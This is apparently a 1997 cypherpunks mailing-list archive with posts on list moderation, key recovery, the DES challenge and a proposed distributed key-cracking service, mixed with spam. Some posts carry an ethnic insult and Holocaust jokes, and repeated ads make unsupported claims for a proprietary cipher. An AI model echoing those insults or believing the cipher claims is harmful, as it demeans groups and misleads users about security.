##>  V.  Eoih zm ozqlqrwfw i pkrimcnk fefewlm cubtrfno. Wjq gijbvgoh mgwm
##>      a hcdlgsg qdag ivkz utbwkab 360r xzn amiwn fv d tyvskkgq qmbn
##>      fhw LIPMXKRREOAB NH ejtg. Ahfvmu ixb llujnrw jz tkli idqyryr xobs.
##> 
##>  K.  Smre E sgs cos sphd vp "pwssh" ec.
##>  R.  Ami rurw pxwufm hurmha zm utzm tqi :-
##> 
##> END.
##> 
##> ** NOTE that this is really a letters with meaning to the right program it 
##> is NOT just a bunch of letters typed by myself.

> If you think this program can be used please reply to this letter and I 
> will give you more information.
> 
> **PLEASE reply via e-mail ---> <a 
> href="mailto:jvrooyen@liasec.infolink.co.za">CLICK HERE</a> to reply now.
> 
> Hope to hear from you soon.
> 
> Regards
> Pierre van Rooyen
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 8 Jan 1997 21:51:53 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <199701081608.IAA16175@songbird.com>
Message-ID: <32D46F27.5E3F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> Dale Thorn allegedly said:
> > The following table shows cypherpunks subscription activity
> > for the period 12 Oct 1996 thru 07 January 1996.
> > Interpretation:
> > Unless the reversal of gain/loss in the 5th data row is permanent,
> > c-punks are losing 0.8 bodies per day, or 294 subscribers per year.
> > Actually, the constant high turnover suggests something else:
> > Many people join the list and get back off again due to the high
> > volume and their own personal time constraints.

> As a relatively new subscriber I find the single factor most likely
> to get me to leave is the garbage on the list.
> And a significant portion of the traffic is discussion about that garbage.

So leave, anyway.  When I lived in the Deep South for several years,
during which time I learned some things about the South that were
seriously distorted in the propaganda you get in the North, I began
to cringe every time some Yankee would come down there and say things
like "Ya' know, I don't like the way you people do this or that, or the
way you talk, or the way you exclude outsiders, ....".  Same principle
applies here.  Somebody's always wanting to change things, they say
it's "for the better".  Bullcrap.  I'd like to say you'll find out if
you stick around long enough, but the traffic is rather heavy here,
and I have things to do....

> > Unless Sandy can
> > cut *way* back on the number of posts to the list, i.e. excise a *lot*
> > more postings than just the blatant Spam and "Timmy is a....." posts,
> > it won't make any difference to those people who come and go.

> No.  The blatant spam and "Timmy isa" posts are more annoying
> than the large volume, at least in my case.

The big-time spam problem should be addressed as a technical issue,
not as a censorship issue.  There are many good ideas, and frankly,
if the spammers got *really* serious, hand-editing would *not* work
no matter how hard they tried.  As far as the "Timmy is a..." posts
go, I would *not* want someone hand-censoring or editing these posts
just to remove those annoyances.  I'll bet you can find plenty of
people on cypherpunks who would rather have myself and a handful of
other "pests" removed than worry about the relatively small number
of "Timmy is...." posts. You're not gonna make everyone happy, period.

> > As to the net loss in subscribers, the moderation of the list could
> > have a substantial effect on the number of subscribers short-term,
> > but whatever trend we have here will continue regardless, since the
> > real value and character of the list is not determined by the posts
> > which are removed (unless it were that some of the character and value
> > is going to be removed), but by long-term factors which are to be
> > expected when the principals get older, less involved, and less
> > contentious (like Sandy, wanting to avoid conflict).

> Moderation may actually cause the list to grow at a faster pace.

Just think about how fast Germany grew in the 1930's.  From the ash
heap of defeat to world-class power in what, 3 years?  Amazing, huh?

> While I don't agree with your analysis in the short run, in the long
> run volume on the list will be *the* problem -- just due to the
> growth of the net.  And in the long run, undoubtedly further
> structure will evolve -- there is no meaningful way to deal with say
> 10000 messages per day without some way of structuring the flow.

Like other things in life, such as L.A. freeway traffic, some things
take care of themselves.  If you know how to get around, no problem!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 17:46:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Cypherpunks subscriptions on and off
In-Reply-To: <199701082237.OAA02999@kachina.jetcafe.org>
Message-ID: <VcP9ZD29w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes <dave@kachina.jetcafe.org> writes:

> Black Unicorn writes:
> > More fear from Mr. Thorn that his own time in the spotlight might be
> > drawing to a close.  God forbid his captive audience might vanish.
>
> Tell me, how can an audience be captive when they control the "delete"
> key?

Not only that - the "captive" audience has announced time and again
that they've killfiled me, Dale, aga, and anyone else who dares to
say something they don't like. They already have the power to ignore
anyone they don't want to listen to. They want to stop Dale from
communicating with the _non-captive audience that chooses not to
ignore him.

P.S. They lie about their killfiles, of course - Ray Arachelian,
Paul Bradley, et al follow up on everything posted by the people
they claim to have killfiled! Their follow-ups are obsessive and
repetitive: "I've *plonked* you, so I have the last word, nyah
nyah". And the next day they reply to the same people they claim
to be ignoring.

> Dave Hayes - Altadena CA, USA - dave@jetcafe.org
> Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet
>
> A voice whispered to me last night. It said: "There is no such thing
> as a voice whispering in the night!"


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 19:39:42 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <199701090120.TAA27868@manifold.algebra.com>
Message-ID: <32D47293.29C8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> > Bill Stewart wrote:
> > >
> > > The commercials between the movie and news show on the airline include an
> > > IBM spot on their new Key Recovery software.  Sigh.
> > >
> > > The explanations they gave were mixed; one person was talking about
> > > making sure that if you lose the key that people with a legitimate need
> > > to access the material can do it.

>Toto wrote:
> >   Like the legitimate leader of a country, say, for instance...Hitler?
> > Or a legitimate law enforcement agency, say, for instance...the Gestapo?
> >
> 
> ... Or a legitimate business need to recover the key of an employee
> who suddenly quit the company?
> 
> There can be many good uses of key recovery.

  Yes there can, and your example is one of them.
  But you can bet your ass that those who tout the Key Recovery horn
the loudest are going to be doing so because it gives them control
of 'all' information.
  At every stage of technology, we have seen the 'surprise' that 
follows as a result of people finding out that the security of 
their communications is compromised in one manner or another.
  People found out that management was prying into their 'private'
email.  Management found out that their system administrator and
the night-janitor were profiting from company secrets.

  Key Recovery will, in all likelihood, give people who watch IBM's
airline ads a 'higher level' sense of 'false security'.
  I am sure that their motto will be, "Key Recovery--Trust Us."

  To me, Key Recovery cryptography is like using a condom with a
hole in it. No thanks.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 17:45:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <32D40BF4.3968@sk.sympatico.ca>
Message-ID: <PPP9ZD30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Dale Thorn wrote:
>
> > The Wall Street Cabal (as they say) was genuinely frightened that since
> > Milken was so successful with high-yield bonds, they deliberately created
> > the term Junk Bonds and flooded the markets with appropriate propaganda,
> > and thereby killed off their competition.  How they turned it into a
> > criminal offense is truly an art.
>
>   Is this anything similar to, say, calling certain posts by list
> members
> 'spam', flooding the list with 'external' spam, and then using the
> resulting
> uproar to take care of perceived 'internal' problems?

You mean the way Ray Arachelian from Earthweb, LLC, flooded this mailing
list with a mail loop around Xmas and tried to blame it on me? Or the way
Ray Arachelian forges shit in my name and then complains about his own
forgeries? This Armenian creep is truly despicable.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Wren <paul@software.com>
Date: Wed, 8 Jan 1997 20:49:04 -0800 (PST)
To: Rich Graves <cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment
Message-ID: <3.0.32.19970108204759.00bfbb00@pop-sb.software.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:32 PM 1/8/97 -0800, Rich Graves wrote:
>
>In practice, a system such as Chudov's STUMP reduces the latency and 
>moderator effort considerably, as responsible posters get put onto the 
>white list for auto-approval (to be degraded to hand-moderation if they 
>lose it). For list regulars, it's as if the list were unmoderated.
>
"All animals are equal; some are more equal than others"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AaronH4321@aol.com
Date: Wed, 8 Jan 1997 18:02:11 -0800 (PST)
To: warlord@MIT.EDU
Subject: PGP 2.6.3i
Message-ID: <970108162430_1010759352@emout02.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks, I have been meaning to ask someone about that. It is billed as the
International Version. I see it all over the place, except MIT. Is there
anyway this could be a weakened version? How can this be checked? And if it
isn't released by Phil or MIT how can it be called PGP? 

Aaron.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 8 Jan 1997 22:20:04 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment  in Jan
In-Reply-To: <Pine.SUN.3.94.970108154429.25470A-100000@polaris>
Message-ID: <32D48A32.64B5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn wrote:
> On Wed, 8 Jan 1997, Michael Froomkin - U.Miami School of Law wrote:[snippo]
> I am amazed that no one has suggested a pool of moderators with
> provisions to blind a given post from attributation to a specific
> moderator.  (Attornies- what might be impact of a Res Ipsa attack on this
> kind of set up, and incidently, on other anonymous pool arrangements?)

> > As to the choice of the moderator, innocent until proven guilty, I say.
> > I personally don't put much store in requiring a moderator to issue a code
> > of practice.  Common law and equity will do to evolve a system as it goes[mo' snippo]

Here's a perfect example of two concepts, the first very thoughtful
(however flawed), and the second not very thoughtful at all.

"Innocent until proven guilty" is good for individuals, but it is mis-
construed for organizations.  Sure, officials who do public service,
and moderators/censors who have to make judgements need to be protected
from penalties for common everyday mistakes. But "innocent until proven
guilty" is being misapplied here, to suggest advance trust for entities
that haven't earned any trust.  You might fool some people, but you
aren't fooling me.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Wed, 8 Jan 1997 19:17:17 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: NEW RELEASE: Universal Data Cryptography Module V2.0
Message-ID: <970108211233_1123903607@emout06.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
Engineering Technologies. I am sending you this message to let you know that
DataET Research has recently initiated the distribution of UDCM, Universal
Data Cryptography Module. UDCM implements a revolutionarily new, extremely
advanced and sophisticated, digital data encryption algorithm named IMDMP,
Integrated Mathematical Data Manipulation and Positioning. Extensive research
shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.

UDCM (the IMDMP algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Contains more than 140 procedures and functions.
o Is a very cost-effective size of only 57 kilobytes.
o Implements the IMDMP encryption algorithm.
o Is more advanced than all of the industry standard encryption algorithms.
o Allows encryption keys as large as 256 bytes (2048 bits).
o Includes 18 sub-algorithms.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Does not store encryption keys in files.
o Processes files as large as 2,147,483,390 bytes.
o Has a 100% data preservation rating.
o Includes Y2K compliant time and date locking features.
o Has NCSC compliant data cleaning and wiping capabilities.
o Includes file specific unique encryption features.
o Includes file authentication guard features.
o Includes unique encryption signaturing features.
o Includes data importance and sensitivity stamping features.

UDCM can be accessed through programs developed with popular application and
database programming languages and environments such as: C, C++, Visual
Basic, PowerBuilder, Delphi, OOP Pascal, Turbo Pascal, SmallTalk, dBase,
Paradox, Access, Sybase, Oracle, etc. 

DataET Research has released a shareware version of UDCM named UDCM V2.0.

To download UDCM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/udcm.html.

I hope you will consider applying UDCM in the software you develop. Thank-you
very much for your time.

Sincerely,

Jeremy K.Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bneiman@navix.net
Date: Wed, 8 Jan 1997 20:23:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Espial
Message-ID: <Ready Aim Fire!_1/8/97 10:25:58 PM_bneiman@navix.net>
MIME-Version: 1.0
Content-Type: text/plain



I noticed your newsgroup posting, and thought you might be interested in a great business opportunity.  Reply to this e-mail with your name and address info and I will sent  you information.  Or visit by web site:  www.espial4u.com.  Thanks.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 8 Jan 1997 22:32:46 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <PPP9ZD30w165w@bwalk.dm.com>
Message-ID: <32D4909E.927@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:
> Dale Thorn wrote:
> > The Wall Street Cabal (as they say) was genuinely frightened that since
> > Milken was so successful with high-yield bonds, they deliberately created
> > the term Junk Bonds and flooded the markets with appropriate propaganda,
> > and thereby killed off their competition.  How they turned it into a
> > criminal offense is truly an art.

> Is this anything similar to, say, calling certain posts by list
> members 'spam', flooding the list with 'external' spam, and then
> using the resulting uproar to take care of perceived 'internal' problems?

The old "create the provocation then step in with the solution" trick?

It must have been the Final Provocation, since we're about to get the
Final Solution.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 20:30:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: AHHHHHHHHHHHHHHHHHH!!!!!!!
In-Reply-To: <32D4511A.5C1@gis.net>
Message-ID: <FDw9ZD33w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Sentient Demon <sheba@gis.net> writes:

> hOW DO i GET OFF THIS LIST?!!!!!!!!!!

Just post something John Gilmore doesn't like... Like, advocate making
crypto available to the unwashed masses, rather than the effete elite,
or just defending freedom of speech.

John Gilmore will then unsubscribe you in no time and may even ban you
from using his majordomo.

Good luck.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Wed, 8 Jan 1997 19:55:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: New Release: Universal Data Cryptography Module V2.0
Message-ID: <970108211056_1622671474@emout11.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,

Greetings! I am Jeremy K. Yu-Ramos, president of DataET Research, Data
Engineering Technologies. I am sending you this message to let you know that
DataET Research has recently initiated the distribution of UDCM, Universal
Data Cryptography Module. UDCM implements a revolutionarily new, extremely
advanced and sophisticated, digital data encryption algorithm named IMDMP,
Integrated Mathematical Data Manipulation and Positioning. Extensive research
shows that IMDMP is more advanced than DES, RSA, IDEA, and PGP.

UDCM (the IMDMP algorithm)...

o Is a royalty-free Windows DLL module featuring advanced cryptography.
o Contains more than 140 procedures and functions.
o Is a very cost-effective size of only 57 kilobytes.
o Implements the IMDMP encryption algorithm.
o Is more advanced than all of the industry standard encryption algorithms.
o Allows encryption keys as large as 256 bytes (2048 bits).
o Includes 18 sub-algorithms.
o Processes all forms of binary and ASCII files.
o Allows multiple encryption layer levels.
o Has absolutely no back-doors or magical keys.
o Does not store encryption keys in files.
o Processes files as large as 2,147,483,390 bytes.
o Has a 100% data preservation rating.
o Includes Y2K compliant time and date locking features.
o Has NCSC compliant data cleaning and wiping capabilities.
o Includes file specific unique encryption features.
o Includes file authentication guard features.
o Includes unique encryption signaturing features.
o Includes data importance and sensitivity stamping features.

UDCM can be accessed through programs developed with popular application and
database programming languages and environments such as: C, C++, Visual
Basic, PowerBuilder, Delphi, OOP Pascal, Turbo Pascal, SmallTalk, dBase,
Paradox, Access, Sybase, Oracle, etc. 

DataET Research has released a shareware version of UDCM named UDCM V2.0.

To download UDCM V2.0 for free, please go to:
http://members.aol.com/dataetrsch/udcm.html.

I hope you will consider applying UDCM in the software you develop. Thank-you
very much for your time.

Sincerely,

Jeremy K.Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 8 Jan 1997 22:56:47 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: URGENT: Fri 10Jan 9:30AM Wash,DC: Karn appeals, come to the hearing!
In-Reply-To: <199701082255.OAA20606@toad.com>
Message-ID: <32D4964E.C99@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Just look at all the wonderful snippets I clipped from John Gilmore's
latest post to the cypherpunks list!

John Gilmore wrote:
> Friends of crypto freedom should definitely attend.Freedom was a sacred word where I grew up, John.  Too bad it will
no longer apply on the list.

> your rights are very much at stake here.You can say that again!

> restrictions on distribution of encryption software violate the First
> ...Amendments...., and are "arbitrary, capricious and invalid"How about distribution of ideas on the list, without censorship
disguised as "moderation"?

> ...will argue that its rules are its own business...Must be a self-fulfilling prophecy, huh?

> ...that it is legitimate to regulate free speech and publication...Not only legitimate for Gilmore/Sandfort, but presented as a kinder,
gentler way of regulating the list.

> The Electronic Frontier Foundation....protect privacy, free expression,
> and access to online resources and information.Don't do as I do, just do as I say.  (What a hypocrite)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: remove@opportunity1.com (Opportunity1)
Date: Wed, 8 Jan 1997 21:03:31 -0800 (PST)
Subject: Is this true?
Message-ID: <19970109045352986.AAE255@alphatech.a-o.com>
MIME-Version: 1.0
Content-Type: text/plain


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Thank you,
Walter Cantrell





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 8 Jan 1997 20:18:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: IW-D Report
Message-ID: <1.5.4.32.19970109041402.00693dd4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've digtized the 200-page "Information Warfare-
Defense" report by the Defense Science Board.

  http://jya.com/iwd.htm  

It's quite informative about large-scale planning
for coping with the threats of information age --
encryption among many other political, economic,
technical and legal issues. There is overlap with
the NRC cryptography report on prospects for
technological fixes to security, but this report
envisions a much more comprehensive plan. 
(William Ware served on both panels; Stewart 
Baker on the IW-D.)

Comparison to threat models of the Center for Disease 
Control, FEMA and the National Drug Intelligence Center
is provocative (Appendix D).

Well worth reading for a preview of the next century's 
opportunities for wealth, power and infamy.

-----

REPORT OF THE DEFENSE SCIENCE BOARD TASK FORCE    
ON INFORMATION WARFARE - DEFENSE (IW-D) 

November 1996

TABLE OF CONTENTS

EXECUTIVE SUMMARY

1.0 INTRODUCTION

2.0 ENVIRONMENT

    2.1 Growing Dependency, Growing Risk   
    2.2 Information Warfare   
    2.3 The Infrastructure   
    2.4 Threat

3.0 OBSERVATIONS

4.0 WHAT SHOULD WE DEFEND?

5.0 HOW SHOULD WE DEFEND?

    5.1 Procedures, Processes and Mechanisms   
    5.2 Strategy

6.0 RECOMMENDATIONS

    6.1 Designate an Accountable IW Focal Point   
    6.2 Organize for IW-D
        6.2.1 Establish a Center for Intelligence Indications 
              and Warning, Current Intelligence, and Threat 
              Assessments     
        6.2.2 Establish a Center for IW-D Operations     
        6.2.3 Establish a Center for IW-D Planning and 
              Coordination     
        6.2.4 Establish a Joint Office for System, Network and 
              Infrastructure Design     
        6.2.5 Establish a Red Team for Independent Assessments

    6.3 Increase Awareness   
    6.4 Assess Infrastructure Dependencies and Vulnerabilities   
    6.5 Define Threat Conditions and Responses   
    6.6 Assess IW-D Readiness   
    6.7 "Raise the Bar" with High Pay-Off, Low-Cost Items   
    6.8 Establish and Maintain a Minimum Essential Information 
        Infrastructure   
    6.9 Focus the R&D   
    6.10 Staff for Success   
    6.11 Resolve the Legal Issues   
    6.12 Participate Fully in Critical Infrastructure Protection   
    6.13 Provide the Resources

7.0 SUMMARY

APPENDIX A: Threat Assessment

APPENDIX B: National Intelligence Exploitation Architecture

APPENDIX C: A Taxonomy for Information Warfare?

APPENDIX D: Organizational Models
  D.1 Centers for Disease Control and Prevention   
  D.2 Federal Emergency Management Agency Federal Response 
      Plan   
  D.3 National Drug Intelligence Center

APPENDIX E: Think Pieces
  E.1 Information Infrastructure Assurance Principles   
  E.2 "Raise the Bar" Exercise

APPENDIX F: Technology Issues

APPENDIX G: List of Acronyms

APPENDIX H: Glossary





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gemery@earthlink.net
Date: Wed, 8 Jan 1997 23:21:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: FREE LIFE SAVING MESSAGE
Message-ID: <199701090721.XAA21655@iberia.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Frank O'Dwyer" <fod@brd.ie>
Date: Wed, 8 Jan 1997 16:22:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IDEA] Cypherpunks Super Computer (was Re: The Upcoming DES Challenge)
In-Reply-To: <3.0.32.19970107005752.006c3c48@192.100.81.126>
Message-ID: <199701082322.XAA09234@brd.ie>
MIME-Version: 1.0
Content-Type: text/plain



>    Make your mark in the history of mathematics. Use the spare cycles of
>    your PC/PPC/UNIX box to help find a new prime.
>    http://www.mersenne.org/prime.htm

This .sig and the DES challenge gave me an idea that I'd like to 
bounce off the list.

One of the things about these screensaver style cracking/searching
programs is the hassle in downloading/installing the programs.
There's also the problem of maybe downloading some trojan.  And
they need to be changed any time there's a new problem or key
to work on (or a bug). The whole thing is so cumbersome that
it's easy to claim it's not really a practical attack, or that
it costs too much.

However, what if there was a safe scripting language with bignum
arithmetic and other cryptographic primitives, and what if
lots of people ran a service that would accept scripts in 
that language and respond with the answer?  Say, a Safe-TCL 
interface to Peter Gutmann's cryptlib, running at idle 
priority?  Sort of like a distributed batch queue, and also 
a bit like the way jobs are (were?) submitted to Crays.  The 
Cypherpunks Super Computer. It need not be significantly slower 
than raw code if the primitives are high level enough.

I think this would be technically quite interesting, and would
maybe play well in the media too.  In response to the "it would 
cost too much to be _really_ practical" claim, anyone could always 
note that there was this distributed cypherpunks supercomputer 
that anonymous people could use to break keys with for free.

I'd be happy to code something like this up if there's interest.

Comments?

Cheers,
Frank O'Dwyer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 8 Jan 1997 23:26:33 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <199701090120.TAA27868@manifold.algebra.com>
Message-ID: <32D49D4B.7222@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Igor Chudov @ home wrote:
> > > Bill Stewart wrote:
> > Toto wrote:
> > > Like the legitimate leader of a country, say, for instance...Hitler?
> > > Or a legitimate law enforcement agency, say, for instance...the Gestapo?

> Key Recovery will, in all likelihood, give people who watch IBM's
> airline ads a 'higher level' sense of 'false security'.
> I am sure that their motto will be, "Key Recovery--Trust Us."

> To me, Key Recovery cryptography is like using a condom with a hole in it.Forgive me (please!) if this is not on-topic, but believe it or not, in
this day and age of safe sex, you can go around Los Angeles and pick up
non-porn (free, distributed at record stores) gay-oriented magazines which
carry large full-page ads for sexual lubricants, and guess what - you
can't use a condom with those lubricants!  It says so right in the ad!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 8 Jan 1997 20:31:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
In-Reply-To: <Pine.GSO.3.95.970107184550.4939C-100000@well.com>
Message-ID: <Pine.LNX.3.95.970108231558.1800A-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 7 Jan 1997, Declan McCullagh wrote:

> The Supreme Court ruled on this sentencing case yesterday. Kennedy and
> Stevens -- hardly known as civil libertarians -- dissented. The Court
> reversed the 9th Circuit, ruling the lower court was wrong to say that
> such a practice "would make the jury's findings of fact pointless." The
> court declared: "Sentencing enhancements do not punish a defendant for
> crimes of which he was not convicted, but rather increase his sentence
> because of the manner in which he committed the crime of conviction."
> 
> Double jeopardy? What's that?
> 
> Of course it was a drug crime. The defendant, Vernon Watts, was convicted
> of cocaine possession with intent to distribute. To paraphrase another
> saying: "'Drug Trafficking Offense' is the root passphrase to the
> Constitution."

IANAL, but this ruling is not as bad as it may seem.  If I read it correctly,
the ruling says that a judge is allowed to consider offenses related to the
crime for which the defendant was convicted regardless of whether or not the
defendant was acquitted of those charges.  Judges are allowed to consider past
criminal convictions or behavior relevant to the crime for which the defendant
was convicted during sentencing.  Sentencing guidelines instruct the judge on
how severe or lenient a sentence should be based on the severity of the offense
and past criminal record.  These facts to not have to be true beyond a
reasonable doubt.

In one case, the defendant was convicted of possession of cocaine with intent
to distribute but was found not guilty of possession of a firearm related to
a drug charge (apparently, this is a crime).  The jury decided that there was
reasonable doubt as to whether the gun had anything to do with the drug
offense.  However, the defendant was sentenced according to the recommended
sentence for someone convicted of a drug offense when there is a weapon
involved.  If possession of a firearm related to a drug offense had not been
a crime, the judge would have been able to give the defendant the same sentence
without having proof that there was not reasonable doubt as to whether the gun
was related to the drug offense.

All this ruling really does is it gives the judge the power to consider all
facts, including those found by a jury to be doubtable, when sentencing the
defendant.  It doesn't allow the judge to sentence the defendant to a higher
punishment than the maximum sentence.  This is a power that judges have when
the defendant does something legal, but has connection to the actual crime.
This ruling just extends that power to include when the action in question is
illegal.


Mark
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kbAuOHULX+iExWcUD+1Zrp2xaOfo8Oxy9XfwSeAwf08mpj6tFkwQxA==
=cFSt
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Rand" <ozdirect@onthenet.com.au>
Date: Tue, 7 Jan 1997 06:48:53 -0800 (PST)
To: "exploit" <helpshop@fan.net.au>
Subject: Free Software - Link to  500  Engines & Directories!!
Message-ID: <199701071346.XAA27650@diablo.OntheNet.com.au>
MIME-Version: 1.0
Content-Type: text/plain



This is what everyone with a Web Page has been waiting for!       

AN AUTOMATIC  Submission program which will link your
Web Pages to over 500 Search Engines & Directories!!

Find out more about the Exploit Submission Wizard, and why it recently
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recently reviewed as the 'greatest advance to web designers since the
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  http://www.freegoodies.com/wizard/submit.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pass me another!" <spanky@europa.com>
Date: Thu, 9 Jan 1997 00:10:53 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: About ICF(International Cryptography Framework)
In-Reply-To: <1.5.4.32.19970108022542.006e8f7c@pop.pipeline.com>
Message-ID: <32D4AA91.D4@europa.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> Here are two docs on ICF which might be helpful:
> 
> http://jya.com/halicf.htm  (Hal Finney's critique posted to c'punks)
> 
> http://jya.com/declan.htm  (news reports)
> 
> John

Thanks a ton...I appreciate it...I checked them out.  They say that this
tech may not be available for some time...however, I feel that may not
be necessarily true...tech is coming and going much faster these days
and according to Ray Bamford's stance at HP, he seems to think that this
may soon(within the next year) become a viable reality.  Can I ask what
your stance and views are on this issue?  And any ideas as to what we as
a community can do about this NAZI-istic progression of freedoms??

-spanky




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 22:40:04 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <PPP9ZD30w165w@bwalk.dm.com>
Message-ID: <32D4AF23.3521@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Toto <toto@sk.sympatico.ca> writes:
> > Is this anything similar to, say, calling certain posts by list
> > members 'spam', flooding the list with 'external' spam, and then
> > using the resulting uproar to take care of perceived 'internal' problems?
> 
> The old "create the provocation then step in with the solution" trick?
> 
> It must have been the Final Provocation, since we're about to get the
> Final Solution.

subscribe Auschwitz@toad.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@OpenMarket.com>
Date: Wed, 8 Jan 1997 22:47:11 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <85263054520588@cs26.cs.auckland.ac.nz>
Message-ID: <199701090645.BAA07307@relay.openmarket.com>
MIME-Version: 1.0
Content-Type: text/plain



    I'm still a bit nervous about what the reaction will be though
    - won't the US government (and anyone else pushing DES) be able
    to say "It took 10,000 Pentiums several weeks, noone would
    bother doing that, so it's safe"...

this seems a good moment to remind ourselves
that we will never know as much about another
cipher as we know about DES.

ipso facto, i'd like to simply use the efficiency
of price discovery by auction and see what I can
buy the DES-key-of-your-choice for.  my bet: there
are a lot of interesting DES keys available for
less than $10K

--dan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
